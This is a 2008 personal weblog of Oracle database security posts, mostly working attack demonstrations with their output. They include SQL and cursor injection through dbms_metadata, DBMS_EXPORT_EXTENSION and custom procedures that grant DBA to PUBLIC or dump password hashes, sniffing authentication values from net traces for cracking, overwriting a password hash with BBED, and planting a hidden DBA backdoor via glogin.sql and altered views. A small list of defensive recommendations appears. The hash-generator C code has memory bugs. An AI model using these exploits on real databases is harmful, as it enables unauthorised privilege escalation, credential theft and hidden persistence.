Yaping's Weblog

October 23, 2008

orapw11g

Filed under: Oracle — Yaping @ 7:17 am
Tags: ,

I wrote  one C script to generate hash value for Oracle 11g sha1 algorithm.

@>alter user system identified by p1;
User altered.
 
@>select NAME,PASSWORD,SPARE4 from user$ where NAME=’SYSTEM’;
NAME                 PASSWORD                       SPARE4
——— ———————– ———————————————————————-
SYSTEM    2E1168309B5B9B7A        S:09043B9ABFA366DF41DD16DE6768FDC04C57EF1374E0B04DAC8616716074
 
 
[oracle@chen src]$ cat orapw11g.c
#include <openssl/sha.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define SALT_LEN 10
#define HASH_LEN 20
 
/********************************************************
Function: Generate password hash value for Oracle 11g
Author: Yaping Chen
Email: yaping123@gmail.com
Revised: Yaping Chen, 2008/10
Comment: Compiled with gcc 3.2.3 on RHEL 4
*********************************************************/

main(int argc,char *argv[])
{
  char *md;
  char *pwd;
  char *data;
  char *saltraw;
  char *saltstr;
  int i,n;
  char *c1;
  char *c2;
  char *c5;
  char *c6;

  if (argc!=3) {
     printf(“Parameters invalid.\nUsage:\nargv[0] pwd salt(hex)\n\n”);
     return -1;
  }

  if (strlen((char *)argv[2]) != SALT_LEN * 2) {
     printf(“salt’s length error, it must be %d in hex\n”,SALT_LEN*2);
     return -1;
  }
 
  pwd=malloc(strlen((char *)argv[1]));
  saltraw=malloc(SALT_LEN * 2);
  saltstr=malloc(SALT_LEN);
  data=malloc(strlen((char *)argv[1]) + SALT_LEN);
  md=malloc(HASH_LEN);
  c1=malloc(2);
  c2=malloc(40);
  c5=malloc(8);
  c6=malloc(8);
 
  if (!pwd || !saltraw || !data || !md || !c1 || !c2 || !c5 || !c6) {
     perror(“malloc fail”);
     return -1;
  }
 
  pwd=argv[1];
  saltraw=argv[2];
  for(i=0;i<SALT_LEN;i++) {
     strncpy(c1,saltraw+i*2,2);
     sscanf(c1,”%X”,&n);
     saltstr[i]=(char)n;
  }
 
  memcpy(data,pwd,strlen((char*)pwd));
  memcpy(data+strlen((char*)pwd),saltstr,SALT_LEN);
  SHA1(data,strlen((char*)pwd) + SALT_LEN,md);
 
  printf(“pwd:%s,\tsaltraw:%s,\tsaltstr:%s,\tsha1 value:\n”,pwd,saltraw,saltstr);
  for(i=0;i<HASH_LEN;i++) {
     sprintf(c5,”%X”,md[i]);
     sprintf(c6,”%s”,c5);
     n=strlen(c6);
     if (n == 1) {
        c2[i*2]=’0′;
        c2[i*2 + 1]=c6[0];
     }
     else if (n == 2) {
        c2[i*2]=c6[0];
        c2[i*2 + 1]=c6[1];
     }
     else {
        c2[i*2]=c6[n-2];
        c2[i*2 + 1]=c6[n-1];
     }
  }
  printf(“%s\n\n”,c2);
  return 0;
}

[oracle@chen src]$ gcc orapw11g.c -lssl -o orapw11g
[oracle@chen src]$
[oracle@chen src]$
[oracle@chen src]$ ./orapw11g p1 74E0B04DAC8616716074
pwd:p1, saltraw:74E0B04DAC8616716074,   saltstr:tà°M??q`t,      sha1 value:
09043B9ABFA366DF41DD16DE6768FDC04C57EF13
[oracle@chen src]$

But this script has issue when password contains special symbols.

September 2, 2008

Network

Filed under: Oracle — Yaping @ 2:35 am
Tags:

Oracle Password Protocol (O3Logon)

O3Logon protocol is used in Oracle 10g and earlier, O5Logon used since 11g.

When client connect to db, it firstly sends the user to server, then the server checks whether it is a valid username, if it is not, the server sends a “login denied” error to client.

If the user exists, then the server extracts the users’ password hash value from the database, the server uses this hash value to create a secret number.

The secret number is then encrypted with the user’s password hash value, and the result becomes the AUTH_SESSKEY, it is sent to client.

After receiving the AUTH_SESSKEY, the client must decrypt the secret number. The user creates his/her password hash, this hash is then used as the key to decrypt the AUTH_SESSKEY. If everything goes well, then this should produce the secret number. This secret number is then used as a key to encrypt the user’s clear-text. The cipher text is then sent back to the server as the AUTH_PASSWORD.

The server decrypts the AUTH_PASSWORD with the secret number used as the key. The server now has a copy of the clear-text password. Then the server creates the password hash and compares it with the hash in the database. If they match, then the user is authenticated. Checks are then performed by the server to determine whether the user has the create session privilege, if so, the user is given access to the database server.

If not necessary, don’t set Oracle network trace, it can extract significant data.

Illuminate as following demo. Change sqlnet.ora file on server side, enable trace.

trace_file_server=srv.trc
trace_directory_server=/tmp
trace_level_server=support

Or add the following items on client side.

trace_file_client=cli.trc
trace_directory_client=/tmp
trace_level_client=support

Connect to db and submit one statement.
[oracle@chen tmp]$ sqlplus system@chen
SQL*Plus: Release 10.2.0.3.0 – Production on Fri Jan 11 20:10:20 2008
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.
Enter password: ******
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production

system@CHEN>alter user system identified by system;
User altered.

Then check trace file, we can find significant content, including clear SQL statement text.

… …

[11-JAN-2008 20:10:23:529] nsprecv: 00 88 B6 FF BF 94 BC FF  |……..|
[11-JAN-2008 20:10:23:529] nsprecv: BF 06 73 79 73 74 65 6D  |..system|
[11-JAN-2008 20:10:23:529] nsprecv: 0D 00 00 00 0D 41 55 54  |…..AUT|
[11-JAN-2008 20:10:23:529] nsprecv: 48 5F 54 45 52 4D 49 4E  |H_TERMIN|
[11-JAN-2008 20:10:23:529] nsprecv: 41 4C 05 00 00 00 05 70  |AL…..p|
[11-JAN-2008 20:10:23:530] nsprecv: 74 73 2F 32 00 00 00 00  |ts/2….|
… …
[11-JAN-2008 20:10:23:545] nspsend: 00 00 08 01 00 0C 00 00  |……..|
[11-JAN-2008 20:10:23:545] nspsend: 00 0C 41 55 54 48 5F 53  |..AUTH_S|
[11-JAN-2008 20:10:23:545] nspsend: 45 53 53 4B 45 59 20 00  |ESSKEY..|
[11-JAN-2008 20:10:23:545] nspsend: 00 00 20 33 32 32 43 43  |…322CC|
[11-JAN-2008 20:10:23:546] nspsend: 38 34 31 30 33 43 36 33  |84103C63|
[11-JAN-2008 20:10:23:546] nspsend: 42 41 36 30 30 38 46 41  |BA6008FA|
[11-JAN-2008 20:10:23:546] nspsend: 33 44 39 36 37 42 45 46  |3D967BEF|
[11-JAN-2008 20:10:23:546] nspsend: 34 43 46 00 00 00 00 04  |4CF…..|
[11-JAN-2008 20:10:23:546] nspsend: 01 00 00 00 01 00 00 00  |……..|
… …
[11-JAN-2008 20:10:23:548] nsprecv: 00 8C E3 FF BF 7C F4 FF  |…..|..|
[11-JAN-2008 20:10:23:548] nsprecv: BF 06 73 79 73 74 65 6D  |..system|
[11-JAN-2008 20:10:23:549] nsprecv: 0D 00 00 00 0D 41 55 54  |…..AUT|
[11-JAN-2008 20:10:23:549] nsprecv: 48 5F 50 41 53 53 57 4F  |H_PASSWO|
[11-JAN-2008 20:10:23:549] nsprecv: 52 44 20 00 00 00 20 39  |RD…..9|
[11-JAN-2008 20:10:23:549] nsprecv: 41 43 42 46 37 34 33 38  |ACBF7438|
[11-JAN-2008 20:10:23:549] nsprecv: 43 38 41 39 41 42 36 30  |C8A9AB60|
[11-JAN-2008 20:10:23:549] nsprecv: 36 31 30 33 31 33 44 30  |610313D0|
[11-JAN-2008 20:10:23:549] nsprecv: 41 46 34 46 34 36 37 00  |AF4F467.|
[11-JAN-2008 20:10:23:549] nsprecv: 00 00 00 08 00 00 00 08  |……..|
… …
[11-JAN-2008 20:11:11:038] nsprecv: 24 ED 0A 08 00 00 00 00  |$…….|
[11-JAN-2008 20:11:11:038] nsprecv: 26 61 6C 74 65 72 20 75  |&alter.u|
[11-JAN-2008 20:11:11:038] nsprecv: 73 65 72 20 73 79 73 74  |ser.syst|
[11-JAN-2008 20:11:11:038] nsprecv: 65 6D 20 69 64 65 6E 74  |em.ident|
[11-JAN-2008 20:11:11:038] nsprecv: 69 66 69 65 64 20 62 79  |ified.by|
[11-JAN-2008 20:11:11:038] nsprecv: 20 73 79 73 74 65 6D 01  |.system.|
[11-JAN-2008 20:11:11:038] nsprecv: 00 00 00 01 00 00 00 00  |……..|
[11-JAN-2008 20:11:11:038] nsprecv: 00 00 00 00 00 00 00 00  |……..|

We can use AUTH_SESSKEY and AUTH_PASSWORD values to crack the password. In Oracle 11g, salt value is sent through AUTH_VFR_DATA.

When users connect to db, if the accounts don’t exist or the passwords don’t correct, display the same error message. But we can check information through trace file to determine if accounts exist or passwords correct.

Password not correct
[oracle@chen tmp]$ sqlplus test@chen
SQL*Plus: Release 10.2.0.3.0 – Production on Sat Jan 12 15:04:55 2008
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.
Enter password: *****
ERROR:
ORA-01017: invalid username/password; logon denied

Account not exist
[oracle@chen tmp]$ sqlplus dummy@chen
SQL*Plus: Release 10.2.0.3.0 – Production on Sat Jan 12 15:08:07 2008
Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.
Enter password: *****
ERROR:
ORA-01017: invalid username/password; logon denied

LISTENER should be protected by password and other admin restrict, limit users access. If LISTENER has not been protected, users can obtain LISNTER information remotely and stop it.

[oracle@cheney sql]$ lsnrctl status 192.168.1.119
LSNRCTL for Linux: Version 9.2.0.4.0 – Production on 19-FEB-2008 21:14:45
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.1.119))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.119)(PORT=1521)))
STATUS of the LISTENER
————————
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 9.2.0.4.0 – Production
Start Date                13-FEB-2008 05:48:49
Uptime                    0 days 0 hr. 0 min. 25 sec
Trace Level               admin
Security                  OFF
SNMP                      OFF
Listener Parameter File   /opt/app/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File         /opt/app/oracle/product/9.2.0/network/log/listener.log
Listener Trace File       /opt/app/oracle/product/9.2.0/network/trace/listener.trc
Listening Endpoints Summary…
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1522)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost.localdomain)(PORT=1526)))
Services Summary…
Service “chen” has 1 instance(s).
  Instance “chen”, status UNKNOWN, has 1 handler(s) for this service…
Service “stby” has 1 instance(s).
  Instance “stby”, status UNKNOWN, has 1 handler(s) for this service…
Service “test” has 1 instance(s).
  Instance “test”, status UNKNOWN, has 1 handler(s) for this service…
The command completed successfully
[oracle@cheney sql]$
[oracle@cheney sql]$
[oracle@cheney sql]$ lsnrctl stop 192.168.1.119
LSNRCTL for Linux: Version 9.2.0.4.0 – Production on 19-FEB-2008 21:16:39
Copyright (c) 1991, 2002, Oracle Corporation.  All rights reserved.
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=192.168.1.119))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.1.119)(PORT=1521)))

The command completed successfully

Vulnerable Packages

Filed under: Oracle — Yaping @ 2:34 am
Tags:

I’ll list several vulnerable packages, which are used frequently.

Utl_file
Utl_file package can be used to read/write OS files within db, PUBLIC has execute privilege by default. If users have only create session privilege and read/write privilege on directories or utl_file_dir set, then these users can read/write any files under these directories which oracle have corresponding privilege. Cracker can read sensitive data or destroy whole database through it.

Dbms_metadata
Input passed to the OBJECT_TYPE parameter used in various procedures of the dbms_metadata package is not properly sanitised and can be exploited to manipulate SQL queries by injecting arbitrary SQL code. Oracle 9i/10g has this issue.

@>conn test/test
Connected.
@>select * from session_roles;
ROLE
——————————
RESOURCE
CONNECT
PLUSTRACE

@>create or replace function get_dba
  2    return varchar2
  3    authid current_user is
  4    pragma autonomous_transaction;
  5    begin
  6      execute immediate ‘grant dba to public’;
  7      commit;
  8      return ”;
  9    end;
 10  /
Function created.

@>@>
@>select dbms_metadata.get_ddl(”’||test.get_dba()||”’,”) from dual;
ERROR:
ORA-31600: invalid input value ‘||test.get_dba()||’ for parameter OBJECT_TYPE in function GET_DDL
ORA-06512: at “SYS.DBMS_SYS_ERROR”, line 105
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 1536
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 1900
ORA-06512: at “SYS.DBMS_METADATA_INT”, line 3606
ORA-06512: at “SYS.DBMS_METADATA”, line 504
ORA-06512: at “SYS.DBMS_METADATA”, line 560
ORA-06512: at “SYS.DBMS_METADATA”, line 1221
ORA-06512: at line 1
no rows selected

@>conn test/test
Connected.
@>select * from session_roles;
ROLE
——————————
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
PLUSTRACE
RESOURCE
CONNECT
11 rows selected.

DBMS_EXPORT_EXTENSION
This package is used when export data, PUBLIC has execute privilege by default before 10gR2.

@>conn test/test
Connected.
@>
@>select * from session_roles;
ROLE
——————————
RESOURCE
CONNECT
PLUSTRACE

@>CREATE OR REPLACE PACKAGE MYTESTPKG
  2  AUTHID CURRENT_USER
  3  IS
  4    FUNCTION ODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
  5    RETURN NUMBER;
  6  END;
  7  /
Package created.

@>CREATE OR REPLACE PACKAGE BODY MYTESTPKG
  2  IS
  3    FUNCTION ODCIIndexGetMetadata(oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
  4    RETURN NUMBER
  5  IS
  6    pragma autonomous_transaction;
  7  BEGIN
  8    EXECUTE IMMEDIATE ‘GRANT DBA TO TEST’;
  9    COMMIT;
 10    RETURN(1);
 11  END;
 12
 13  END;
 14  /
Package body created.

@>DECLARE
  2    V_INDEX_NAME VARCHAR2(200);
  3    V_INDEX_SCHEMA VARCHAR2(200);
  4    V_TYPE_NAME VARCHAR2(200);
  5    V_TYPE_SCHEMA VARCHAR2(200);
  6    V_VERSION VARCHAR2(200);
  7    V_NEWBLOCK PLS_INTEGER;
  8    V_GMFLAGS NUMBER;
  9    v_Return VARCHAR2(200);
 10  BEGIN
 11    V_INDEX_NAME := ‘A1′;
 12    V_INDEX_SCHEMA := ‘TEST’;
 13    V_TYPE_NAME := ‘MYTESTPKG’;
 14    V_TYPE_SCHEMA := ‘TEST’;
 15    V_VERSION := ‘9.2.0.4.0′;
 16    V_GMFLAGS := 1;
 17
 18    v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => V_INDEX_NAME, INDEX_SCHEMA => V_INDEX_SCHEMA,
 19              TYPE_NAME=> V_TYPE_NAME,TYPE_SCHEMA => V_TYPE_SCHEMA, VERSION => V_VERSION, NEWBLOCK =>V_NEWBLOCK, GMFLAGS => V_GMFLAGS);
 20  END;
 21  /
PL/SQL procedure successfully completed.

@>set role dba;
Role set.
@>select * from session_roles;
ROLE
——————————
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
PLUSTRACE
9 rows selected.

Change Password with BBED

Filed under: Oracle — Yaping @ 2:33 am
Tags: ,

Firstly, we prepare one user & password we want to logon, assuming we use system/system to logon database.

Then we obtain this password hash value, it can be gotten from test environment.

@>alter user system identified by system;
User altered.

@>select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;
USERNAME                       PASSWORD
—————————— ——————————
SYSTEM                         970BAA5B81930A40

Or obtain this value by oracle hash create tools.

Then we need get the actual password hash value and the table’s location in data file.

@>select USERNAME,PASSWORD from dba_users where USERNAME=’SYSTEM’;
USERNAME                       PASSWORD
—————————— ——————————
SYSTEM                         292EB6812EBA50C2

@>select CLUSTER_NAME from dba_tables where TABLE_NAME=’USER$’;
CLUSTER_NAME
——————————
C_USER#

@>select EXTENT_ID,FILE_ID,BLOCK_ID,BLOCKS from dba_extents where SEGMENT_NAME=’C_USER#’;
 EXTENT_ID    FILE_ID   BLOCK_ID     BLOCKS
———- ———- ———- ———-
         0          1         89          8

Next, we use bbed to modify data file directly.

BBED> set dba 1,90
        DBA             0×0040005a (4194394 1,90)
BBED> find /c 292EB6812EBA50C2 top
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90               Offsets: 5895 to 6406           Dba:0×0040005a
————————————————————————
 32393245 42363831 32454241 35304332 018002c1 0307786b 0a0b0c06 3507786b
 0c17022f 1cffff01 80ff02c1 02ffff01 80018009 5359535f 47524f55 506c0011
 1113474c 4f42414c 5f41515f 55534552 5f524f4c 45018006 474c4f42 414c0180
 01800778 6b0a0b0c 0d18ffff ff0180ff 02c102ff ff018001 80164445 4641554c
 545f434f 4e53554d 45525f47 524f5550 ac000101 00010000 40005a00 12004000
 5a001202 c1136c00 11100c41 515f5553 45525f52 4f4c4501 80ff0180 01800778
 6b0a0b0c 0d18ffff ff0180ff 02c102ff ff018001 80164445 4641554c 545f434f
 4e53554d 45525f47 524f5550 ac000101 00010000 40005a00 11004000 5a001102
 c1126c00 110f1541 515f4144 4d494e49 53545241 544f525f 524f4c45 0180ff01
 80018007 786b0a0b 0c0d17ff ffff0180 ff02c102 ffff0180 01801644 45464155
 4c545f43 4f4e5355 4d45525f 47524f55 50ac0001 01000100 0040005a 00100040
 005a0010 02c1116c 00110e16 4c4f4753 54444259 5f41444d 494e4953 54524154
 4f520180 ff018001 8007786b 0a0b0c0c 3bffffff 0180ff02 c102ffff 01800180
 16444546 41554c54 5f434f4e 53554d45 525f4752 4f5550ac 00010100 01000040
 005a000f 0040005a 000f02c1 106c0011 0d184741 54484552 5f535953 54454d5f
 53544154 49535449 43530180 ff018001 8007786b 0a0b0c0c 3bffffff 0180ff02
 <32 bytes per line>

BBED>
BBED> dump /v dba 1,90 offset 5895 count 32
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90      Offsets: 5895 to 5926  Dba:0×0040005a
——————————————————-
 32393245 42363831 32454241 35304332 l 292EB6812EBA50C2
 018002c1 0307786b 0a0b0c06 3507786b l …á..xk….5.xk
 <16 bytes per line>

BBED> modify /c 970BAA5B81930A40 dba 1,90 offset 5895
BBED-00215: editing not allowed in BROWSE mode

BBED> set mode edit
        MODE            Edit
BBED> modify /c 970BAA5B81930A40 dba 1,90 offset 5895
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90               Offsets: 5895 to 5926           Dba:0×0040005a
————————————————————————
 39373042 41413542 38313933 30413430 018002c1 0307786b 0a0b0c06 3507786c
 <32 bytes per line>

BBED> dump /v dba 1,90 offset 5895 count 32
 File: /u03/oradata/9204/chen/system01.dbf (1)
 Block: 90      Offsets: 5895 to 5926  Dba:0×0040005a
——————————————————-
 39373042 41413542 38313933 30413430 l 970BAA5B81930A40
 018002c1 0307786b 0a0b0c06 3507786c l …á..xk….5.xl
 <16 bytes per line>

BBED> sum dba 1,90 apply
Check value for File 1, Block 90:
current = 0xc51f, required = 0xc51f
BBED> exit

[oracle@chen data]$ sql
SQL*Plus: Release 9.2.0.4.0 – Production on Thu Jan 10 06:39:56 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
@>conn system/system
Connected.

Startup Files

Filed under: Oracle — Yaping @ 2:30 am
Tags:

There’re some SQL command files which will be executed when users logon db, such as glogin.sql/login.sql on SQL*Plus, toad.ini on TOAD. The cracker can modify these files and add some statements to create user, escalate privileges, change data, and so on. Illuminate through the following demo.

Modify glogin.sql file, add the following statements. It has two purposes: create one user with dba privilege; recreate view dba_users & all_users, hide this user through query these views.

set term off
create user cracker identified by cracker;
grant dba to cracker;
  CREATE OR REPLACE FORCE VIEW “SYS”.”ALL_USERS” (”NAME”, “USER#”, “CTIME”) AS
… …
  and u.name != ‘CRACKER’;
CREATE OR REPLACE FORCE VIEW “SYS”.”DBA_USERS” (”USERNAME”, “USER_ID”, “PASSWORD”, “ACCOUNT_STATUS”, “LOCK_DATE”, “EXPIRY_DATE”, “DEFAULT_TABLESPACE”, “TEMPORARY_TABLESPACE”, “CREATED”, “PROFILE”, “INITIAL_RSRC_CONSUMER_GROUP”, “EXTERNAL_NAME”) AS
  … …
       and u.name != ‘CRACKER’;
set term on

Then logon db with sys user.

[oracle@chen admin]$ sqlplus
SQL*Plus: Release 9.2.0.4.0 – Production on Thu Jan 10 11:07:06 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
Enter user-name: /as sysdba
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production
sys@CHEN>select name from all_users;
NAME
——————————
SYS
SYSTEM
OUTLN
DBSNMP
TEST
YP
6 rows selected.

sys@CHEN>select username from dba_users;
USERNAME
——————————
SYS
SYSTEM
OUTLN
DBSNMP
TEST
YP
6 rows selected.

sys@CHEN>conn cracker/cracker
Connected.
sys@CHEN>select name from sys.user$ where TYPE#<>0 minus select username from dba_users;
NAME
——————————
CRACKER

Recommends
1.       Check glogin.sql/login.sql/toad.ini files for modification;
2.       Check search sequence SQLPATH;
3.       If possible use SQL*Plus <10g because the (g)login.sql is only executed during the firstly login;
4.       Use /nolog as SQL*Plus startup parameter, (g)login.sql is not executed with SQL*Plus <10g.
5.       Use OS tools to track these files changed, such as md5sum/sha1sum in Linux.

 

Orapw file issue

sys@CHEN>create user hacker identified by hacker;
User created.
sys@CHEN>grant sysdba to hacker;
Grant succeeded.

[admin@chen ~]$ sqlplus “hacker/hacker@chen as sysdba”
SQL*Plus: Release 9.2.0.8.0 – Production on Tue Mar 4 22:24:22 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production
sys@CHEN>

sys@CHEN>!cp /opt/app/oracle/product/9.2.0/dbs/orapwchen /opt/app/oracle/product/9.2.0/dbs/orapwchen.org

sys@CHEN>drop user hacker;
User dropped.

sys@CHEN>!cp /opt/app/oracle/product/9.2.0/dbs/orapwchen.org /opt/app/oracle/product/9.2.0/dbs/orapwchen

sys@CHEN>select name from user$ where type#<>0;
NAME
——————————
SYS
SYSTEM
OUTLN
DBSNMP
TEST
YP
6 rows selected.
sys@CHEN>select * from v$pwfile_users;
USERNAME                       SYSDB SYSOP
—————————— —– —–
SYS                            TRUE  TRUE
HACKER                         TRUE  FALSE
sys@CHEN>select VIEW_DEFINITION from  v$fixed_view_definition where VIEW_NAME=’GV$PWFILE_USERS’;
VIEW_DEFINITION
——————————————————————————————————————————————————
select inst_id,username,decode(sysdba,1,’TRUE’,’FALSE’),  decode(sysoper,1,’TRUE’,’FALSE’) from x$kzsrt where valid=1  and username != ‘INTERNAL’

[admin@chen ~]$ sqlplus “hacker/hacker@chen as sysdba”
SQL*Plus: Release 9.2.0.8.0 – Production on Tue Mar 4 22:27:19 2008
Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.4.0 – Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 – Production
sys@CHEN>

Even though the user HACKER was dropped in the db, it still can logon as SYSDBA if it exists in orapw file. We still can hide the user in gv$pwfile_profiles if change its definition to the following statement which is hard-coded in binary file oracle.

select inst_id,username,decode(sysdba,1,’TRUE’,’FALSE’),  decode(sysoper,1,’TRUE’,’FALSE’) from x$kzsrt where username not in (’INTERNAL’,’HACKER’)

SQL/Cursor injection

Filed under: Oracle — Yaping @ 2:29 am
Tags:

sys@TEST>create or replace procedure get_owner(p_obj varchar2) is
  2  type t_cur is ref cursor;
  3  v_cur   t_cur;
  4  v_owner varchar2(30);
  5  begin
  6    dbms_output.enable(1000000);
  7    open v_cur for ’select owner from all_objects where object_name = ”’||p_obj||””;
  8    loop
  9       fetch v_cur into v_owner;
 10       dbms_output.put_line(v_owner);
 11       exit when v_cur%notfound;
 12    end loop;
 13
 14    close v_cur;
 15  end;
 16  /
Procedure created.

sys@TEST>grant execute on get_owner to public;
Grant succeeded.

sys@TEST>conn test/test
Connected.

test@TEST>select username from sys.dba_users;
select username from sys.dba_users
                         *
ERROR at line 1:
ORA-00942: table or view does not exist

test@TEST >exec sys.get_owner(’T’);
PL/SQL procedure successfully completed.

test@TEST >exec sys.get_owner(’T” or ”a”=”a’);
SYS
SYS
… …
 
test@TEST>exec sys.get_owner(’T” union all select username from sys.dba_users union all select password from sys.dba_users–’);
OPS$ADMIN
TEST
CSMIG
SYS
SYSTEM
TSMSYS
CTXSYS
OUTLN
DIP
DBSNMP
FDFF0B0C32E1E432
7A0F2B316C212D67
09B4BB013FBD0D65
2A244059C05B5F54
292EB6812EBA50C2
3DF26A8B17D0F29F
71E687F036AD56E5
4A3BA55E08595C81
CE4A36B8E06CA59C
E066D214D5421CCC
E066D214D5421CCC
PL/SQL procedure successfully completed.

Now we get users’ password hash value, such as SYS’s is 09B4BB013FBD0D65. Now we can use tool to brute force password.

test@TEST>create or replace function get_dba
  2  return varchar
  3  authid current_user is
  4  pragma autonomous_transaction;
  5  begin
  6    execute immediate ‘grant dba to public’;
  7    return ‘GOT_DBA_PRIVS’;
  8  end;
  9  /
Function created.

test@TEST>
test@TEST>exec sys.get_owner(’T”||test.get_dba–’);
PL/SQL procedure successfully completed.

test@TEST>set role dba;
Role set.

Since Oracle 10g R2, it introduces one package called DBMS_ASSERT, can be used to check schema, objects, SQL valid.

test@TEST>declare
  2    v_cur number;
  3    v_res number;
  4  begin
  5    v_cur:=dbms_sql.open_cursor;
  6    dbms_sql.parse(v_cur,’select 1 from dual’,0);
  7    v_res:=dbms_sql.execute(v_cur);
  8    dbms_sql.close_cursor(v_cur);
  9  end;
 10  /
PL/SQL procedure successfully completed.

We tie the cursor to a query, the cursor like a handle to this query which is then executed using dbms_sql.execute function. An attacker can execute arbitrary SQL in an open cursor and parse the SQL and then inject the dbms_sql.execute function into the vulnerable PL/SQL object:

test@TEST>set serveroutput on
test@TEST>declare
  2    v_cur number;
  3  begin
  4    v_cur:=dbms_sql.open_cursor;
  5    dbms_sql.parse(v_cur,’declare pragma autonomous_transaction; begin execute immediate ”grant dba to public”; commit; end;’,0);
  6    dbms_output.put_line(’cursor value is: ‘||v_cur);
  7  end;
  8  /
cursor value is: 4
PL/SQL procedure successfully completed.

test@TEST>exec sys.get_owner(’T”||chr(dbms_sql.execute(4))–’);
PL/SQL procedure successfully completed.

test@TEST>set role dba;
Role set.

Assume, rather than execute ‘GRANT DBA TO PUBLIC’, which might alert an intrusion detection/prevention system, the attacker wishes to perform an INSERT to achieve the same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to make PUBLIC a DBA.

sys@TEST>create user dummy identified by dummy;
User created.
sys@TEST>grant create session to dummy;
Grant succeeded.
 sys@TEST>conn dummy/dummy
Connected.
dummy@TEST>select * from session_roles;
no rows selected
dummy@TEST>set serveroutput on
dummy@TEST>declare
  2    v_cur number;
  3  begin
  4    v_cur:=dbms_sql.open_cursor;
  5    dbms_sql.parse(v_cur,’declare pragma autonomous_transaction; begin execute immediate ”create or replace function dummy_f(p_stmt varchar2) return number authid current_user is begin execute immediate p_stmt; return 1; end;”; commit; end;’,0);
  6    dbms_output.put_line(’cursor value is: ‘||v_cur);
  7  end;
  8  /
cursor value is: 2
PL/SQL procedure successfully completed.
 
dummy@TEST>exec sys.get_owner(’T”||chr(dbms_sql.execute(2))–’);
PL/SQL procedure successfully completed.
dummy@TEST>select dummy_f(’select 1 from dual’) from dual;
DUMMY_F(’SELECT1FROMDUAL’)
————————–
                         1
dummy@TEST>exec sys.get_owner(’T”||chr(dummy.dummy_f(”declare pragma autonomous_transaction; begin execute immediate ””insert into sys.sysauth$ (grantee#,privilege#,sequence#) values (1,4,(select max(sequence#)+1 from sys.sysauth$))””; commit; end;”))–’);
BEGIN sys.get_owner(’T”||chr(dummy.dummy_f(”declare pragma autonomous_transaction; begin execute immediate ””insert into sys.sysauth$ (grantee#,privilege#,sequence#) values (1,4,(select max(sequence#)+1 from sys.sysauth$))””; commit; end;”))–’); END;
*
ERROR at line 1:
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated
ORA-06512: at line 1
ORA-06512: at “DUMMY.DUMMY_F”, line 1
ORA-06512: at “SYS.GET_OWNER”, line 7
ORA-06512: at line 1

dummy@TEST>set role dba;
Role set.

10g will be unique constraint violated, but the insertion success still.

Generally, Date & Number data type parameter in function/procedure are considered to input data safely. Is it so?

sys@CHEN>create or replace procedure p_date(p_date date) is
  2    stmt varchar2(200);
  3  begin
  4    stmt:=’select object_name from all_objects where created = ”’ || p_date || ””;
  5    dbms_output.put_line(stmt);
  6    execute immediate stmt;
  7  end;
  8  /
Procedure created.
 
sys@CHEN>grant execute on p_date to public;
Grant succeeded.

test@CHEN>exec sys.p_date(”’ and test.get_dba()=”GOT_DBA_PRIVS”–’);
BEGIN sys.p_date(”’ and test.get_dba()=”GOT_DBA_PRIVS”–’); END;
*
ERROR at line 1:
ORA-01858: a non-numeric character was found where a numeric was expected
ORA-06512: at line 1
test@CHEN>alter session set nls_date_format = ‘”” and test.get_dba()=”GOT_DBA_PRIVS”–”‘;
Session altered.
test@CHEN>select sysdate from dual;
SYSDATE
————————————–
‘ and test.get_dba()=’GOT_DBA_PRIVS’–
test@CHEN>exec sys.p_date(”’ and test.get_dba()=”GOT_DBA_PRIVS”–’);
select object_name from all_objects where created = ” and test.get_dba()=’GOT_DBA_PRIVS’–’
